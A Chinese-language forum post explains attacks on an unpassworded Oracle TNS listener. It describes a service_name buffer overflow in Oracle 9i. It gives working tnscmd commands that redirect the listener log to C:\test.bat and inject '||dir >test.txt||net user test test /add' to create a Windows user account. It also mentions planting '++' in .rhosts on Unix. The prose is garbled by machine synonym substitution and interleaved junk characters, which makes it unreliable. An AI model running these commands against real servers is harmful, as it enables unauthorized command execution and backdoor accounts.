按照版本的分歧,TNS listener可能较易受到多种类型的缓冲区溢出抨击袭击,这些抨击袭击可以在不供给用户ID和口令的情形下被操作。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很轻易受到溢出抨击袭击。当listener为日志构建错误动静之后,service_name的值会被复制到某于栈结构的缓冲区内,年夜而引起溢出—笼盖保留值将返回栈中的地址。这种做法可以使抨击袭击者获得节制权。事实上,TNS listener曾经有过多次溢出和名目化字符串的裂痕。 其次,另一类抨击袭击和日志文件有关。只有当未给listener设置口令的时辰,抨击袭击才涣有用。假设某个listener没有设置口令,抨击袭击体例如下:
8 S, B2 F, b3 _, [# [$ P [Copy to clipboard]CODE:tnscmd -h www.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c://)))"
J8 k: k' [3 s9 i 将日志目录设置到C盘
) y( `8 X7 W. }6 N* T" c [Copy to clipboard]CODE:tnscmd -h www.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))"
0 r8 t5 l/ z& g2 M- u. ] 将日志文件设置为test.bat) ]* f! m" U" a, J
[Copy to clipboard]CODE:tnscmd -h www.example.com --rawcmd "(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))"
8 }* ?& N; c4 z* @9 o! W* x1 a 该呼吁把dir >test.txt、net user test test /add呼吁写入c:test.bat文件,因为双竖线的浸染(第一条呼吁执行失踪败后,WINDOWS呼吁诠释器执行后面的呼吁)把错误的信息注释失踪,年夜而可以执行我们提交的呼吁。3 O1 _% m' n2 C2 _7 _
经由过程设置日志文件到分歧的目录,例如WINDOWS的启动目录,当处事重视启将执行恶意用户提交的特定代码,年夜而对系统造成威胁。
% r& E! o2 a9 X/ T( t 运行于UNIX系统上的oracle也会受到同样的威胁。其一一种体例就是将“++”回送给.rhost文件,当系统运行时,使用r*services呼吁。 |